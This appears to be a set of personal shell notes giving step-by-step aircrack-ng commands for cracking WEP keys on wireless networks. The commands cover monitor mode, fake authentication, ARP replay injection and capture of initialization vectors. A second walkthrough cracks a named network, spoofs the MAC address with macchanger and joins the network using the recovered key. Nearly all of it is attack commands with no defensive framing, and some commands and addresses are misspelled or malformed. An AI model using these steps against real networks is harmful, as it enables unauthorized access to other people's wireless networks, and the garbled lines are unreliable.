sudo apt-get install madwifi-tools
sudo apt-get install aircrack-ng
ubuntu@ubuntu-desktop:~$ sudo airmon-ng ra0 


usage: airmon-ng <start|stop> <interface> [channel] 
do this to use aircrack-ng:

aircrack-ng steps for ath0: -b=AP MAC and -h=card MAC

airmon-ng stop ath0
airmon-ng start wifi0 11 # where 11 = the channel the ap is using
ifconfig ath1 up
aireplay-ng -1 0 -e THE-SSID -a 00:0F:B5:9F:DD:04 -h 00:11:95:69:94:F4 ath1
# where 00:0F:B5:9F:DD:04 = the mac address of the ap &
# where 00:11:95:69:94:F4 = the mac address of the adapter

# open a second term:
airodump-ng -c 11 --bssid 00:0F:B5:9F:DD:04 --ivs -w output ath1 # where 00:0F:B5:9F:DD:04 = mac address of ap

# in third term:
aireplay-ng -3 -b mac-address-of-ap -h mac-address-of-adapter ath1

# in fourth term:
aircrack-ng -b mac-address-of-ap output*.ivs

more info here:
http://www.aircrack-ng.org/doku.php?id=simple_wep_crack
http://www.aircrack-ng.org/doku.php?id=how_to_crack_wep_with_no_client s
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bt~# iwconfig  ath0
bt~# airmon-ng stop ath0
bt~# airmon-ng start wifi0
bt~# airodump-ng -w test ath0
[this displays all available networks and writes capture to a file named test]
[now stop airodump-ng Ctrl+C]
bt~# airmon-ng stop ath0
bt~# airmon-ng start wifi0 1
[starts wifi0 monitor mode channel 1]
[in another terminal window]
bt~# airodump-ng -c 1 -w output ath0
[in another terminal window]
bt~# airplay-ng -1 0 -e DOVER -a 00:11:50:51:FD-DC -h 00:13:46:74:03:55 ath0
bt~# aircrack-ng -z output*.cap
[key found....]
TO GET BACK ON THE INTERNET
bt~# wlanconfig ath0 destroy
bt~# macchanger –mac 00:17:AB:4B:53:67 wifi0
bt~# wlanconfig ath0
bt~# ifconfig ath0 up
bt~# iwconfig ath0 essid DOVER key --:IF:98:11:98:11:98:6F
bt~# dhcpcd ath0